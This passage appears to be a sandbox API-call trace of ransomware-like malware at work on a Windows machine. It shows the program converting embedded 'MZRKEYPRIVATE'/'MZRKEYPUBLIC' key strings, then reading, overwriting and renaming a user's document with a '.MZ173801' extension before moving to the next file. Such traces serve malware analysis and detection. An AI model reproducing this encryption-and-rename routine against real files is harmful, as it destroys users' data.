lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0169.082] GetCurrentThreadId () returned 0xab4 [0169.082] GetCurrentThreadId () returned 0xab4 [0169.082] GetCurrentThreadId () returned 0xab4 [0169.082] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0169.082] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x322167c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0169.083] GetCurrentThreadId () returned 0xab4 [0169.083] GetCurrentThreadId () returned 0xab4 [0169.083] GetCurrentThreadId () returned 0xab4 [0169.083] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\RCiQJ4sRfOg.ppt" (normalized: "c:\\users\\fd1hvy\\documents\\rciqj4srfog.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0169.083] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0169.083] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0169.083] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x12c9 [0169.083] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0169.083] ReadFile (in: hFile=0x278, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x12c9, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0x12c9, lpOverlapped=0x0) returned 1 [0169.084] CloseHandle (hObject=0x278) returned 1 [0169.085] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\RCiQJ4sRfOg.ppt" (normalized: "c:\\users\\fd1hvy\\documents\\rciqj4srfog.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0169.086] WriteFile (in: hFile=0x278, lpBuffer=0x24a2040*, nNumberOfBytesToWrite=0x12c9, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24a2040*, lpNumberOfBytesWritten=0x19fa24*=0x12c9, lpOverlapped=0x0) returned 1 [0169.087] CloseHandle (hObject=0x278) returned 1 [0169.087] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\RCiQJ4sRfOg.ppt" (normalized: "c:\\users\\fd1hvy\\documents\\rciqj4srfog.ppt"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\RCiQJ4sRfOg.ppt.MZ173801" (normalized: "c:\\users\\fd1hvy\\documents\\rciqj4srfog.ppt.mz173801")) returned 1 [0169.088] GetCurrentThreadId () returned 0xab4 [0169.088] GetCurrentThreadId () returned 0xab4 [0169.088] GetCurrentThreadId () returned 0xab4 [0169.088] GetCurrentThreadId () returned 0xab4 [0169.088] GetCurrentThreadId () returned 0xab4 [0169.088] GetCurrentThreadId () returned 0xab4 [0169.088] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a6317a0, ftCreationTime.dwHighDateTime=0x1d5e0dd, ftLastAccessTime.dwLowDateTime=0xf13772a0, ftLastAccessTime.dwHighDateTime=0x1d5e16f, ftLastWriteTime.dwLowDateTime=0xf13772a0, ftLastWriteTime.dwHighDateTime=0x1d5e16f, nFileSizeHigh=0x0, nFileSizeLow=0xd045, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SyPgeh2hWXPmhIqZ_oMv.doc", cAlternateFileName="SYPGEH~1.DOC")) returned 1 [0169.088] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0169.088] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0169.088] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SyPgeh2hWXPmhIqZ_oMv.doc" (normalized: "c:\\users\\fd1hvy\\documents\\sypgeh2hwxpmhiqz_omv.doc"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a6317a0, ftCreationTime.dwHighDateTime=0x1d5e0dd, ftLastAccessTime.dwLowDateTime=0xf13772a0, ftLastAccessTime.dwHighDateTime=0x1d5e16f, ftLastWriteTime.dwLowDateTime=0xf13772a0, ftLastWriteTime.dwHighDateTime=0x1d5e16f, nFileSizeHigh=0x0, nFileSizeLow=0xd045)) returned 1 [0169.089] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SyPgeh2hWXPmhIqZ_oMv.doc" (normalized: "c:\\users\\fd1hvy\\documents\\sypgeh2hwxpmhiqz_omv.doc")) returned 0x20 [0169.089] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SyPgeh2hWXPmhIqZ_oMv.doc", dwFileAttributes=0x80) returned 1 [0169.091] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0169.091] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0169.092] GetCurrentThreadId () returned 0xab4 [0169.092] GetCurrentThreadId () returned 0xab4 [0169.092] GetCurrentThreadId () returned 0xab4 [0169.092] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 